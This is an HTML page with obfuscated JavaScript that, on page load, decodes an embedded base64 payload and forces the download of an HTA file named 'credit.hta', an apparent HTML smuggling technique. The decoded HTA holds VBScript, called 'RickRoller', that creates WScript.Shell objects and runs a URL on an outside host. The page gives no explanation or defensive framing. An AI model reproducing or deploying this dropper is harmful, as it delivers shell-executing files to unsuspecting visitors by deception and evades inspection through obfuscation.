html body script var _0x49a5 charCodeAt navigator URL PGh0bWw DQo8aGVh

1
2
3
4
5
6
7
<html>
<body>
<script>
var _0x49a5=['charCodeAt','navigator','URL','PGh0bWw+DQo8aGVhZD4NCjxzY3JpcHQgbGFuZ3VhZ2U9IlZCU2NyaXB0Ij4NCiAgU3ViIFJpY2tSb2xsZXIoKQ0KICAgRGltIGNvdW50ZXIsIG15bnVtLCBvYmpTaGVsbCwgaVVSTA0KICAgY291bnRlciA9IDANCiAgIG15bnVtID0gMTAwDQogICBEbyBVbnRpbCBteW51bSA9IDENCiAgICAgY291bnRlciA9IGNvdW50ZXIgKyAxDQogICAgIG15bnVtID0gbXludW0gLSAxDQogICAgIFNldCBXc2hTaGVsbCA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQogICBMb29wDQogICBzZXQgb2JqU2hlbGwgPSBDcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQ0KICAgaVVSTCA9ICJodHRwczovL3ZpbGxhd29vZHByb3BlcnRpZXMueHl6L2NvbnRhY3QvaW5kZXguaHRtbCINCiAgIG9ialNoZWxsLnJ1bihpVVJMKQ0KICAgV1NjcmlwdC5TbGVlcCgxMCkNCg0KIEVuZCBTdWINCg0KIFJpY2tSb2xsZXIoKQ0KDQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPC9ib2R5Pg0KPC9odG1sPg0K','click','style','log','body','atob','display:\x20none','createElement','createObjectURL','msSaveOrOpenBlob','appendChild','buffer','href','download'];(function(_0x30b33d,_0x49a521){var _0x577a84=function(_0x37a3d3){while(--_0x37a3d3){_0x30b33d['push'](_0x30b33d['shift']());}};_0x577a84(++_0x49a521);}(_0x49a5,0x130));var _0x577a=function(_0x30b33d,_0x49a521){_0x30b33d=_0x30b33d-0x0;var _0x577a84=_0x49a5[_0x30b33d];return _0x577a84;};function base64ToArrayBuffer(_0x19cb89){var _0x5a236a=window[_0x577a('0xa')](_0x19cb89);var _0x4238fc=_0x5a236a['length'];var _0xfc632f=new Uint8Array(_0x4238fc);for(var _0x5f4cb3=0x0;_0x5f4cb3<_0x4238fc;_0x5f4cb3++){_0xfc632f[_0x5f4cb3]=_0x5a236a[_0x577a('0x2')](_0x5f4cb3);}return _0xfc632f[_0x577a('0x10')];}var file=_0x577a('0x5');var data=base64ToArrayBuffer(file);var blob=new Blob([data],{'type':'octet/stream'});var fileName='credit.hta';if(window[_0x577a('0x3')][_0x577a('0xe')]){window[_0x577a('0x3')]['msSaveOrOpenBlob'](blob,fileName);}else{var a=document[_0x577a('0xc')]('a');console[_0x577a('0x8')](a);document[_0x577a('0x9')][_0x577a('0xf')](a);a[_0x577a('0x7')]=_0x577a('0xb');var url=window[_0x577a('0x4')][_0x577a('0xd')](blob);a[_0x577a('0x0')]=url;a[_0x577a('0x1')]=fileName;a[_0x577a('0x6')]();window['URL']['revokeObjectURL'](url);}
</script>
</body>
</html>